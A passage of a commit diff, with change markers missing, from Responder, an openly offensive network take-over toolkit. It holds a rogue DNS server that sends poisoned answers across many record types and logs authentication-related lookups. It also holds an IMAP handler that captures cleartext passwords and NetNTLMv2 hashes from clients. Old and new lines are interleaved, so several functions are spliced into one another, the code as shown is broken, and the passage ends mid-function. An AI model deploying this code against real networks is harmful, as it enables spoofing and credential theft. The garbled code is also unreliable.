soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
except Exception:
pass
# DNS Server TCP Class
class DNSTCP(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
target_ip = self.get_target_ip(query_type)
print(color('[DNS] Poisoned response: %s -> %s' % (
query_name, target_ip), 2, 1))
except Exception as e:
if settings.Config.Verbose:
print(text('[DNS] Error: %s' % str(e)))
def parse_question(self, data, offset):
"""Parse DNS question section and return domain name, type, class"""
try:
# Parse domain name (labels)
labels = []
original_offset = offset
while offset < len(data):
length = data[offset]
if length == 0:
offset += 1
break
# Check for compression pointer
if (length & 0xC0) == 0xC0:
# Compression pointer, stop here
offset += 2
break
offset += 1
if offset + length > len(data):
return None, None, None, offset
label = data[offset:offset+length].decode('utf-8', errors='ignore')
labels.append(label)
offset += length
domain_name = '.'.join(labels)
# Parse type and class
if offset + 4 > len(data):
return None, None, None, offset
query_type = struct.unpack('>H', data[offset:offset+2])[0]
query_class = struct.unpack('>H', data[offset+2:offset+4])[0]
offset += 4
return domain_name, query_type, query_class, offset
except:
return None, None, None, offset
def parse_opt_record(self, data, offset):
"""
Parse OPT pseudo-RR from additional section (EDNS0)
OPT RR format:
- NAME: domain name (should be root: 0x00)
- TYPE: OPT (41)
- CLASS: requestor's UDP payload size
- TTL: extended RCODE and flags (4 bytes)
- Byte 0: Extended RCODE
- Byte 1: EDNS version
- Bytes 2-3: Flags (bit 15 = DNSSEC OK)
- RDLENGTH: length of RDATA
- RDATA: {attribute, value} pairs
"""
try:
# Skip any answer/authority records to get to additional section
# For simplicity, we'll scan for OPT record (TYPE=41)
while offset < len(data):
# Check if we're at a name
if offset >= len(data):
return None
# Skip name (could be label or pointer)
name_start = offset
while offset < len(data):
length = data[offset]
if length == 0:
offset += 1
break
if (length & 0xC0) == 0xC0:
offset += 2
break
offset += length + 1
# Check if we have enough data for type, class, ttl, rdlength
if offset + 10 > len(data):
return None
rr_type = struct.unpack('>H', data[offset:offset+2])[0]
offset += 2
if rr_type == 41: # OPT record found
udp_payload_size = struct.unpack('>H', data[offset:offset+2])[0]
offset += 2
# TTL field contains extended RCODE and flags
ttl_bytes = data[offset:offset+4]
extended_rcode = ttl_bytes[0]
edns_version = ttl_bytes[1]
flags = struct.unpack('>H', ttl_bytes[2:4])[0]
dnssec_ok = bool(flags & 0x8000) # DO bit
offset += 4
rdlength = struct.unpack('>H', data[offset:offset+2])[0]
offset += 2
# RDATA contains option codes (we'll just skip for now)
rdata = data[offset:offset+rdlength] if rdlength > 0 else b''
return {
'udp_size': udp_payload_size,
'extended_rcode': extended_rcode,
'edns_version': edns_version,
'dnssec_ok': dnssec_ok,
'rdata': rdata
}
else:
# Skip this RR
offset += 2 # class
offset += 4 # ttl
if offset + 2 > len(data):
return None
rdlength = struct.unpack('>H', data[offset:offset+2])[0]
offset += 2 + rdlength
return None
except Exception as e:
if settings.Config.Verbose:
print(text('[DNS] Error parsing OPT record: %s' % str(e)))
return None
def should_respond(self, query_name, query_type):
"""Determine if we should respond to this DNS query"""
# Don't respond to empty queries
if not query_name:
return False
# Domain filtering - only respond to configured domain if set
if hasattr(settings.Config, 'DHCPv6_Domain') and settings.Config.DHCPv6_Domain:
target_domain = settings.Config.DHCPv6_Domain.lower().strip()
query_lower = query_name.lower().strip('.')
# Check if query matches domain or is a subdomain
if not (query_lower == target_domain or query_lower.endswith('.' + target_domain)):
if settings.Config.Verbose:
print(text('[DNS] Ignoring query for %s (not in target domain %s)' % (
query_name, target_domain)))
return False
# Log that we're responding to a filtered domain
if settings.Config.Verbose:
print(color('[DNS] Query matches target domain %s - responding' % target_domain, 3, 1))
# Respond to these query types:
# A (1), SOA (6), MX (15), TXT (16), AAAA (28), SRV (33), ANY (255)
# SVCB (64), HTTPS (65) - Service Binding records
supported_types = [1, 6, 15, 16, 28, 33, 64, 65, 255]
if query_type not in supported_types:
return False
# Check if domain is in analyze mode targets
# DNS server should not be affected by analyze mode since its not a poisoner, but a rogue DNS server.
#if hasattr(settings.Config, 'AnalyzeMode'):
#if settings.Config.AnalyzeMode:
# In analyze mode, log but don't respond
#return False
# Log interesting queries (authentication-related domains)
query_lower = query_name.lower()
interesting_patterns = ['login', 'auth', 'sso', 'portal', 'vpn', 'mail', 'smtp', 'imap', 'exchange', '_ldap', '_kerberos', '_gc', '_kpasswd', '_msdcs']
if any(pattern in query_lower for pattern in interesting_patterns):
SaveToDb({
'module': 'DNS',
'type': 'Interesting-Query',
'client': self.client_address[0].replace('::ffff:', ''),
'hostname': query_name,
'fullhash': query_name
})
# Respond to everything that passed the filters
return True
def build_response(self, transaction_id, query_name, query_type, query_class, original_data, opt_record=None):
"""Build DNS response packet with optional OPT record support"""
try:
data = self.request.recv(1024)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
buff = DNS_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
# DNS Header
response = transaction_id # Transaction ID
# Flags: Response, Authoritative, No error
flags = 0x8400 # Standard query response, authoritative
response += struct.pack('>H', flags)
# Questions, Answers, Authority RRs, Additional RRs
response += struct.pack('>H', 1) # 1 question
response += struct.pack('>H', 1) # 1 answer
response += struct.pack('>H', 0) # 0 authority
# Additional RRs count (1 if we have OPT record)
additional_count = 1 if opt_record else 0
response += struct.pack('>H', additional_count)
# Question section (copy from original query)
# Find question section in original data
question_start = 12
question_end = question_start
# Skip to end of domain name
while question_end < len(original_data):
length = original_data[question_end]
if length == 0:
question_end += 5 # null byte + type (2) + class (2)
break
if (length & 0xC0) == 0xC0:
question_end += 6 # pointer (2) + type (2) + class (2)
break
question_end += length + 1
question_section = original_data[question_start:question_end]
response += question_section
# Answer section
# Name (pointer to question)
response += b'\xc0\x0c' # Pointer to offset 12 (question name)
# Type
response += struct.pack('>H', query_type)
# Class
response += struct.pack('>H', query_class)
# TTL (short to ensure frequent re-queries)
response += struct.pack('>I', 60) # 60 seconds
# Get target IP
target_ip = self.get_target_ip(query_type)
if query_type == 1: # A record
# RDLENGTH
response += struct.pack('>H', 4)
# RDATA (IPv4 address)
response += socket.inet_aton(target_ip)
elif query_type == 28: # AAAA record
# RDLENGTH
response += struct.pack('>H', 16)
# RDATA (IPv6 address)
ipv6 = self.get_ipv6_address()
response += socket.inet_pton(socket.AF_INET6, ipv6)
elif query_type == 6: # SOA record (Start of Authority)
# Build SOA record to appear authoritative
# SOA format: MNAME RNAME SERIAL REFRESH RETRY EXPIRE MINIMUM
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
buff = DNS6_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
except Exception:
# MNAME (primary nameserver) - pointer to query name
soa_data = b'\xc0\x0c'
# RNAME (responsible party) - admin@<domain>
# Format: admin.<domain> (@ becomes .)
soa_data += b'\x05admin\xc0\x0c' # admin + pointer to query name
# SERIAL (zone serial number)
import time
serial = int(time.time()) % 2147483647 # Use timestamp as serial
soa_data += struct.pack('>I', serial)
# REFRESH (32-bit seconds) - how often secondary checks for updates
soa_data += struct.pack('>I', 120) # 2 minutes
# RETRY (32-bit seconds) - retry interval if refresh fails
soa_data += struct.pack('>I', 60) # 1 minute
# EXPIRE (32-bit seconds) - when zone data becomes invalid
soa_data += struct.pack('>I', 300) # 5 minutes
# MINIMUM (32-bit seconds) - minimum TTL for negative caching
soa_data += struct.pack('>I', 60) # 60 seconds
response += struct.pack('>H', len(soa_data))
response += soa_data
if settings.Config.Verbose:
print(color('[DNS] SOA record poisoned - appearing as authoritative', 3, 1))
elif query_type == 15: # MX record (mail server)
# Build MX record pointing to our server
# This captures SMTP auth attempts
mx_data = struct.pack('>H', 10) # Priority 10
mx_data += b'\xc0\x0c' # Pointer to query name (our server)
response += struct.pack('>H', len(mx_data))
response += mx_data
if settings.Config.Verbose:
print(color('[DNS] MX record poisoned - potential email auth capture', 3, 1))
elif query_type == 16: # TXT record
# Return a benign TXT record
txt_data = b'v=spf1 a mx ~all' # SPF record
response += struct.pack('>H', len(txt_data) + 1)
response += struct.pack('B', len(txt_data))
response += txt_data
elif query_type == 33: # SRV record (service discovery)
# SRV format: priority, weight, port, target
# Useful for capturing Kerberos, LDAP, etc.
srv_data = struct.pack('>HHH', 0, 0, 445) # priority, weight, port (SMB)
srv_data += b'\xc0\x0c' # Target (pointer to query name)
response += struct.pack('>H', len(srv_data))
response += srv_data
if settings.Config.Verbose:
print(color('[DNS] SRV record poisoned - potential service auth capture', 3, 1))
elif query_type == 255: # ANY query
# Respond with A record
response += struct.pack('>H', 4)
response += socket.inet_aton(target_ip)
elif query_type == 64 or query_type == 65: # SVCB (64) or HTTPS (65) record
# Service Binding records - respond with alias to same domain
# This tells clients to use A/AAAA records for the service
# SVCB format: priority, target, params
# Priority 0 = AliasMode (just use A/AAAA of target)
svcb_data = struct.pack('>H', 0) # Priority 0 (alias)
# Target: pointer to query name (use our domain)
svcb_data += b'\xc0\x0c' # Pointer to query name
response += struct.pack('>H', len(svcb_data))
response += svcb_data
if settings.Config.Verbose:
record_type = 'HTTPS' if query_type == 65 else 'SVCB'
print(color('[DNS] %s record poisoned - alias mode' % record_type, 3, 1))
# Add OPT record to additional section if client sent one
if opt_record:
response += self.build_opt_record(opt_record)
return response
except Exception as e:
if settings.Config.Verbose:
print(text('[DNS] Error building response: %s' % str(e)))
return None
def build_opt_record(self, client_opt):
"""
Build OPT pseudo-RR for EDNS0 response
This indicates our server supports EDNS0 extensions
"""
try:
opt_rr = b''
# NAME: root domain (empty)
opt_rr += b'\x00'
# TYPE: OPT (41)
opt_rr += struct.pack('>H', 41)
# CLASS: UDP payload size we support (typically 4096 or 512)
# Match client's size or use reasonable default
udp_size = min(client_opt['udp_size'], 4096) if client_opt['udp_size'] > 512 else 4096
opt_rr += struct.pack('>H', udp_size)
# TTL: Extended RCODE and flags
# Byte 0: Extended RCODE (0 = no error)
# Byte 1: EDNS version (0)
# Bytes 2-3: Flags (we don't set DNSSEC OK in response)
extended_rcode = 0
edns_version = 0
flags = 0 # No flags set (we don't support DNSSEC)
opt_rr += struct.pack('B', extended_rcode)
opt_rr += struct.pack('B', edns_version)
opt_rr += struct.pack('>H', flags)
# RDLENGTH: 0 (no additional options)
opt_rr += struct.pack('>H', 0)
# RDATA: empty (no options)
if settings.Config.Verbose:
print(color('[DNS] Added OPT record to response (EDNS0)', 4, 1))
return opt_rr
except Exception as e:
if settings.Config.Verbose:
print(text('[DNS] Error building OPT record: %s' % str(e)))
return b''
def get_target_ip(self, query_type):
"""Get the target IP address for spoofed responses"""
# Use Responder's configured IP
if query_type == 28: # AAAA
return self.get_ipv6_address()
else: # A record
return settings.Config.Bind_To
def get_ipv6_address(self):
"""Get IPv6 address for AAAA responses"""
# Priority 1: Use explicitly configured IPv6
if hasattr(settings.Config, 'Bind_To_IPv6') and settings.Config.Bind_To_IPv6:
return settings.Config.Bind_To_IPv6
# Priority 2: Try to detect actual IPv6 on interface
try:
import netifaces
ipv4 = settings.Config.Bind_To
# Find which interface has this IPv4
for iface in netifaces.interfaces():
try:
addrs = netifaces.ifaddresses(iface)
# Check if this interface has our IPv4
if netifaces.AF_INET in addrs:
for addr in addrs[netifaces.AF_INET]:
if addr.get('addr') == ipv4:
# Found the interface, get its global IPv6
if netifaces.AF_INET6 in addrs:
for ipv6_addr in addrs[netifaces.AF_INET6]:
ipv6 = ipv6_addr.get('addr', '').split('%')[0]
# Return first global IPv6 (not link-local fe80::)
if ipv6 and not ipv6.startswith('fe80:'):
return ipv6
except:
continue
except ImportError:
pass
except:
pass
# Priority 3: Use IPv4-mapped IPv6 format (::ffff:x.x.x.x)
# This allows dual-stack clients to connect via IPv4
try:
ipv4 = settings.Config.Bind_To
return '::ffff:%s' % ipv4
except:
pass
# Last resort: return IPv6 loopback
return '::1'
def get_type_name(self, query_type):
"""Convert query type number to name"""
types = {
1: 'A',
2: 'NS',
5: 'CNAME',
6: 'SOA',
12: 'PTR',
15: 'MX',
16: 'TXT',
28: 'AAAA',
33: 'SRV',
41: 'OPT',
64: 'SVCB',
65: 'HTTPS',
255: 'ANY'
}
return types.get(query_type, 'TYPE%d' % query_type)
class DNSTCP(BaseRequestHandler):
"""
DNS over TCP server
Handles TCP-based DNS queries (zone transfers, large responses)
"""
def handle(self):
try:
# TCP DNS messages are prefixed with 2-byte length
length_data = self.request.recv(2)
if len(length_data) < 2:
return
msg_length = struct.unpack('>H', length_data)[0]
# Receive the DNS message
data = b''
while len(data) < msg_length:
chunk = self.request.recv(msg_length - len(data))
if not chunk:
return
data += chunk
if len(data) < 12:
return
# Parse DNS header
transaction_id = data[0:2]
flags = struct.unpack('>H', data[2:4])[0]
questions = struct.unpack('>H', data[4:6])[0]
answer_rrs = struct.unpack('>H', data[6:8])[0]
authority_rrs = struct.unpack('>H', data[8:10])[0]
additional_rrs = struct.unpack('>H', data[10:12])[0]
# Check if it's a query
if flags & 0x8000:
return
# Create DNS instance to reuse parsing logic
dns_handler = DNS.__new__(DNS)
dns_handler.client_address = self.client_address
# Parse question
query_name, query_type, query_class, offset = dns_handler.parse_question(data, 12)
if not query_name:
return
# Check for OPT record
opt_record = None
if additional_rrs > 0:
opt_record = dns_handler.parse_opt_record(data, offset)
# Log the query
if settings.Config.Verbose:
query_type_name = dns_handler.get_type_name(query_type)
opt_info = ''
if opt_record:
opt_info = ' [EDNS0: UDP=%d]' % opt_record['udp_size']
print(text('[DNS-TCP] Query from %s: %s (%s)%s' % (
self.client_address[0].replace('::ffff:', ''),
query_name,
query_type_name,
opt_info
)))
# Check if we should respond
if not dns_handler.should_respond(query_name, query_type):
return
# Build response
response = dns_handler.build_response(
transaction_id,
query_name,
query_type,
query_class,
data,
opt_record
)
if response:
# Prefix with length for TCP
tcp_response = struct.pack('>H', len(response)) + response
self.request.sendall(tcp_response)
target_ip = dns_handler.get_target_ip(query_type)
print(color('[DNS-TCP] Poisoned response: %s -> %s' % (
query_name, target_ip), 2, 1))
except Exception as e:
if settings.Config.Verbose:
print(text('[DNS-TCP] Error: %s' % str(e)))

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -15,34 +15,609 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import base64
import re
import struct
import os
import ssl
from utils import *
if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
class IMAP(BaseRequestHandler):
def __init__(self, *args, **kwargs):
self.tls_enabled = False
BaseRequestHandler.__init__(self, *args, **kwargs)
def upgrade_to_tls(self):
"""Upgrade connection to TLS using Responder's SSL certificates"""
try:
# Get SSL certificate paths from Responder config
cert_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
if not os.path.exists(cert_path) or not os.path.exists(key_path):
if settings.Config.Verbose:
print(text('[IMAP] SSL certificates not found'))
return False
# Create SSL context
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert_path, key_path)
# Wrap socket
self.request = context.wrap_socket(self.request, server_side=True)
self.tls_enabled = True
if settings.Config.Verbose:
print(text('[IMAP] Successfully upgraded to TLS from %s' %
self.client_address[0].replace("::ffff:", "")))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[IMAP] TLS upgrade failed: %s' % str(e)))
return False
def send_capability(self, tag="*"):
"""Send CAPABILITY response with STARTTLS if not already in TLS"""
if self.tls_enabled:
# After STARTTLS, don't advertise it again
self.request.send(NetworkSendBufferPython2or3(IMAPCapability()))
else:
# Before STARTTLS, advertise it
capability = "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN AUTH=LOGIN AUTH=NTLM STARTTLS\r\n"
self.request.send(NetworkSendBufferPython2or3(capability))
if tag != "*":
self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=tag)))
def handle(self):
try:
# Send greeting
self.request.send(NetworkSendBufferPython2or3(IMAPGreeting()))
data = self.request.recv(1024)
if data[5:15] == b'CAPABILITY':
RequestTag = data[0:4]
self.request.send(NetworkSendBufferPython2or3(IMAPCapability()))
self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=RequestTag.decode("latin-1"))))
# Main loop to handle multiple commands
while True:
data = self.request.recv(1024)
if data[5:10] == b'LOGIN':
Credentials = data[10:].strip().decode("latin-1").split('"')
if not data:
break
# Handle CAPABILITY command
if b'CAPABILITY' in data.upper():
RequestTag = self.extract_tag(data)
self.send_capability(RequestTag)
continue
# Handle STARTTLS command
if b'STARTTLS' in data.upper():
RequestTag = self.extract_tag(data)
if self.tls_enabled:
# Already in TLS
response = "%s BAD STARTTLS already in TLS\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
continue
# Send OK response before upgrading
response = "%s OK Begin TLS negotiation now\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
# Upgrade to TLS
if not self.upgrade_to_tls():
# TLS upgrade failed, close connection
break
# Continue handling commands over TLS
continue
# Handle LOGIN command
if b'LOGIN' in data.upper():
success = self.handle_login(data)
if success:
break
continue
# Handle AUTHENTICATE PLAIN
if b'AUTHENTICATE PLAIN' in data.upper():
success = self.handle_authenticate_plain(data)
if success:
break
continue
# Handle AUTHENTICATE LOGIN
if b'AUTHENTICATE LOGIN' in data.upper():
success = self.handle_authenticate_login(data)
if success:
break
continue
# Handle AUTHENTICATE NTLM
if b'AUTHENTICATE NTLM' in data.upper():
success = self.handle_authenticate_ntlm(data)
if success:
break
continue
# Handle LOGOUT
if b'LOGOUT' in data.upper():
RequestTag = self.extract_tag(data)
response = "* BYE IMAP4 server logging out\r\n"
response += "%s OK LOGOUT completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
break
# Unknown command - send error
RequestTag = self.extract_tag(data)
response = "%s BAD Command not recognized\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
except Exception as e:
if settings.Config.Verbose:
print(text('[IMAP] Exception: %s' % str(e)))
pass
def extract_tag(self, data):
"""Extract IMAP command tag (e.g., 'A001' from 'A001 LOGIN ...')"""
try:
parts = data.decode('latin-1', errors='ignore').split()
if parts:
return parts[0]
except:
pass
return "A001"
def handle_login(self, data):
"""
Handle LOGIN command
Format: TAG LOGIN username password
Credentials can be quoted or unquoted
"""
try:
RequestTag = self.extract_tag(data)
# Decode the data
data_str = data.decode('latin-1', errors='ignore').strip()
# Remove tag and LOGIN command
# Pattern: TAG LOGIN credentials
login_match = re.search(r'LOGIN\s+(.+)', data_str, re.IGNORECASE)
if not login_match:
response = "%s BAD LOGIN command syntax error\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
credentials_part = login_match.group(1).strip()
# Parse credentials - can be quoted or unquoted
username, password = self.parse_credentials(credentials_part)
if username and password:
# Save credentials
SaveToDb({
'module': 'IMAP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Credentials[1],
'cleartext': Credentials[3],
'fullhash': Credentials[1]+":"+Credentials[3],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(text('[IMAP] LOGIN captured: %s:%s from %s' % (
username, password, self.client_address[0])))
# Send success but then close
response = "%s OK LOGIN completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return True
else:
# Invalid credentials format
response = "%s BAD LOGIN credentials format error\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
except Exception as e:
return False
def parse_credentials(self, creds_str):
"""
Parse username and password from LOGIN command
Supports: "user" "pass", user pass, {5}user {8}password (literal strings)
"""
try:
# Method 1: Quoted strings "user" "pass"
quoted_match = re.findall(r'"([^"]*)"', creds_str)
if len(quoted_match) >= 2:
return quoted_match[0], quoted_match[1]
# Method 2: Space-separated (unquoted)
parts = creds_str.split()
if len(parts) >= 2:
# Remove any curly brace literals {5}
user = re.sub(r'^\{\d+\}', '', parts[0])
passwd = re.sub(r'^\{\d+\}', '', parts[1])
return user, passwd
return None, None
except:
return None, None
def handle_authenticate_plain(self, data):
"""Handle AUTHENTICATE PLAIN command - can be single-line or multi-line"""
try:
RequestTag = self.extract_tag(data)
data_str = data.decode('latin-1', errors='ignore').strip()
plain_match = re.search(r'AUTHENTICATE\s+PLAIN\s+(.+)', data_str, re.IGNORECASE)
if plain_match:
b64_creds = plain_match.group(1).strip()
else:
response = "+\r\n"
self.request.send(NetworkSendBufferPython2or3(response))
cred_data = self.request.recv(1024)
if not cred_data:
return False
b64_creds = cred_data.decode('latin-1', errors='ignore').strip()
try:
decoded = base64.b64decode(b64_creds).decode('latin-1', errors='ignore')
parts = decoded.split('\x00')
if len(parts) >= 3:
username = parts[1]
password = parts[2]
elif len(parts) >= 2:
username = parts[0]
password = parts[1]
else:
raise ValueError("Invalid PLAIN format")
if username and password:
SaveToDb({
'module': 'IMAP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(text('[IMAP] AUTHENTICATE PLAIN captured: %s:%s from %s' % (
username, password, self.client_address[0])))
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return True
except Exception as e:
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
except Exception as e:
return False
def handle_authenticate_login(self, data):
"""Handle AUTHENTICATE LOGIN command - prompts for username, then password"""
try:
RequestTag = self.extract_tag(data)
response = "+ " + base64.b64encode(b"Username:").decode('latin-1') + "\r\n"
self.request.send(NetworkSendBufferPython2or3(response))
user_data = self.request.recv(1024)
if not user_data:
return False
username_b64 = user_data.decode('latin-1', errors='ignore').strip()
username = base64.b64decode(username_b64).decode('latin-1', errors='ignore')
response = "+ " + base64.b64encode(b"Password:").decode('latin-1') + "\r\n"
self.request.send(NetworkSendBufferPython2or3(response))
pass_data = self.request.recv(1024)
if not pass_data:
return False
password_b64 = pass_data.decode('latin-1', errors='ignore').strip()
password = base64.b64decode(password_b64).decode('latin-1', errors='ignore')
if username and password:
SaveToDb({
'module': 'IMAP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(text('[IMAP] AUTHENTICATE LOGIN captured: %s:%s from %s' % (
username, password, self.client_address[0])))
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return True
else:
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
except Exception as e:
return False
def handle_authenticate_ntlm(self, data):
"""Handle AUTHENTICATE NTLM command - implements challenge-response"""
try:
RequestTag = self.extract_tag(data)
response = "+\r\n"
self.request.send(NetworkSendBufferPython2or3(response))
type1_data = self.request.recv(2048)
if not type1_data:
return False
type1_b64 = type1_data.decode('latin-1', errors='ignore').strip()
try:
type1_msg = base64.b64decode(type1_b64)
except:
return False
type2_msg = self.generate_ntlm_type2()
type2_b64 = base64.b64encode(type2_msg).decode('latin-1')
response = "+ %s\r\n" % type2_b64
self.request.send(NetworkSendBufferPython2or3(response))
type3_data = self.request.recv(4096)
if not type3_data:
return False
type3_b64 = type3_data.decode('latin-1', errors='ignore').strip()
if type3_b64 == '*' or type3_b64 == '':
if settings.Config.Verbose:
print(text('[IMAP] Client cancelled NTLM authentication'))
response = "%s NO AUTHENTICATE cancelled\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
if not all(c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\r\n' for c in type3_b64):
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
try:
type3_msg = base64.b64decode(type3_b64)
except Exception as e:
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
ntlm_hash = self.parse_ntlm_type3(type3_msg, type2_msg)
if ntlm_hash:
if settings.Config.Verbose:
print(text('[IMAP] NTLM hash captured: %s from %s' % (
ntlm_hash['user'], self.client_address[0])))
SaveToDb(ntlm_hash)
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return True
else:
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
except Exception as e:
return False
def generate_ntlm_type2(self):
"""Generate NTLM Type 2 (Challenge) message with target info for NTLMv2"""
import time
challenge = os.urandom(8)
self.ntlm_challenge = challenge
target_name = b'W\x00O\x00R\x00K\x00G\x00R\x00O\x00U\x00P\x00'
target_name_len = len(target_name)
target_info = b''
domain_name = b'W\x00O\x00R\x00K\x00G\x00R\x00O\x00U\x00P\x00'
target_info += struct.pack('<HH', 0x0002, len(domain_name))
target_info += domain_name
computer_name = b'S\x00E\x00R\x00V\x00E\x00R\x00'
target_info += struct.pack('<HH', 0x0001, len(computer_name))
target_info += computer_name
dns_domain = b'w\x00o\x00r\x00k\x00g\x00r\x00o\x00u\x00p\x00'
target_info += struct.pack('<HH', 0x0004, len(dns_domain))
target_info += dns_domain
dns_computer = b's\x00e\x00r\x00v\x00e\x00r\x00'
target_info += struct.pack('<HH', 0x0003, len(dns_computer))
target_info += dns_computer
timestamp = int((time.time() + 11644473600) * 10000000)
target_info += struct.pack('<HH', 0x0007, 8)
target_info += struct.pack('<Q', timestamp)
target_info += struct.pack('<HH', 0x0000, 0)
target_info_len = len(target_info)
target_name_offset = 48
target_info_offset = target_name_offset + target_name_len
signature = b'NTLMSSP\x00'
msg_type = struct.pack('<I', 2)
target_name_fields = struct.pack('<HHI', target_name_len, target_name_len, target_name_offset)
flags = b'\x05\x02\x81\xa2'
context = b'\x00' * 8
target_info_fields = struct.pack('<HHI', target_info_len, target_info_len, target_info_offset)
type2_msg = (signature + msg_type + target_name_fields + flags +
challenge + context + target_info_fields + target_name + target_info)
return type2_msg
def parse_ntlm_type3(self, type3_msg, type2_msg):
"""Parse NTLM Type 3 (Authenticate) message and extract NetNTLMv2 hash"""
try:
from binascii import hexlify
if type3_msg[:8] != b'NTLMSSP\x00':
return None
msg_type = struct.unpack('<I', type3_msg[8:12])[0]
if msg_type != 3:
return None
lm_len, lm_maxlen, lm_offset = struct.unpack('<HHI', type3_msg[12:20])
ntlm_len, ntlm_maxlen, ntlm_offset = struct.unpack('<HHI', type3_msg[20:28])
domain_len, domain_maxlen, domain_offset = struct.unpack('<HHI', type3_msg[28:36])
user_len, user_maxlen, user_offset = struct.unpack('<HHI', type3_msg[36:44])
ws_len, ws_maxlen, ws_offset = struct.unpack('<HHI', type3_msg[44:52])
if user_offset + user_len <= len(type3_msg):
user = type3_msg[user_offset:user_offset+user_len].decode('utf-16le', errors='ignore')
else:
user = "unknown"
if domain_offset + domain_len <= len(type3_msg):
domain = type3_msg[domain_offset:domain_offset+domain_len].decode('utf-16le', errors='ignore')
else:
domain = ""
if ntlm_offset + ntlm_len <= len(type3_msg):
ntlm_response = type3_msg[ntlm_offset:ntlm_offset+ntlm_len]
else:
return None
if len(ntlm_response) > 24:
